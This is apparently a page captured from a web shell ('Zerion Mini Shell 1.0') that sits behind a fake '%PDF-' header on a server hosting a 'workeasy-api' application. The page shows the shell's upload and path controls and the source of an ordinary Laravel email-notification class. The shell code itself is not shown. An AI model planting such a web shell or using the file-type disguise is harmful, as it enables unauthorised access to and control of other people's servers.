%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/workeasy-api/app/Notifications/
Upload File :
Create Path :
Current File : /var/www/html/workeasy-api/app/Notifications/PendingCandidateNotification.php

<?php

namespace Workeasy\Notifications;

use Illuminate\Bus\Queueable;
use Illuminate\Notifications\Notification;
use Illuminate\Contracts\Queue\ShouldQueue;
use Illuminate\Notifications\Messages\MailMessage;
use Workeasy\Models\Interview;

class PendingCandidateNotification extends Notification
{
    use Queueable;
    /**
     * @var Interview
     */
    private $interview;

    /**
     * Create a new notification instance.
     *
     * @param Interview $interview
     */
    public function __construct(Interview $interview)
    {
        $this->interview = $interview;
    }

    /**
     * Get the notification's delivery channels.
     *
     * @param  mixed $notifiable
     * @return array
     */
    public function via($notifiable)
    {
        return ['mail'];
    }

    /**
     * Get the mail representation of the notification.
     *
     * @param  mixed $notifiable
     * @return \Illuminate\Notifications\Messages\MailMessage
     */
    public function toMail($notifiable)
    {
        $offer = $this->interview->offer;
        $candidate = $this->interview->candidate;
        $experiences = $candidate->experiences;
        $email = (new MailMessage)->greeting('Hello!');
            //->line('You have a pending candidate for the offer: ' . $offer->name);
        //if (count($experiences) === 0) {
        //    $email->line('The Candidate name is : ' . $candidate->name . ' ' . $candidate->surname);
        //    $email->line('This candidate dos not have any previous work experience.');
        //}
        //foreach ($experiences as $index => $experience) {
        //    $email->line('The Candidate name is : ' . $candidate->name . ' ' . $candidate->surname . " with work experiences as below : ");
        //    $email->line('Experience' . $index = $index + 1);
        //    $email->line('Position: ' . $experience->position);
        //    $email->line('Company: ' . $experience->company);
        //    $email->line('Description: ' . $experience->description);
        //    $email->line('Start Date: ' . $experience->start_date);
        //    $email->line('End Date: ' . $experience->end_date);;
        //}
        $email->salutation('Regards, Workeasy');
        $email->markdown('vendor.mail.html.index', ['experiences' =>$experiences,'offer'=>$offer,'candidate'=>$candidate]);
        return $email;

    }

    /**
     * Get the array representation of the notification.
     *
     * @param  mixed $notifiable
     * @return array
     */
    public function toArray($notifiable)
    {
        return [
            //
        ];
    }
}

Zerion Mini Shell 1.0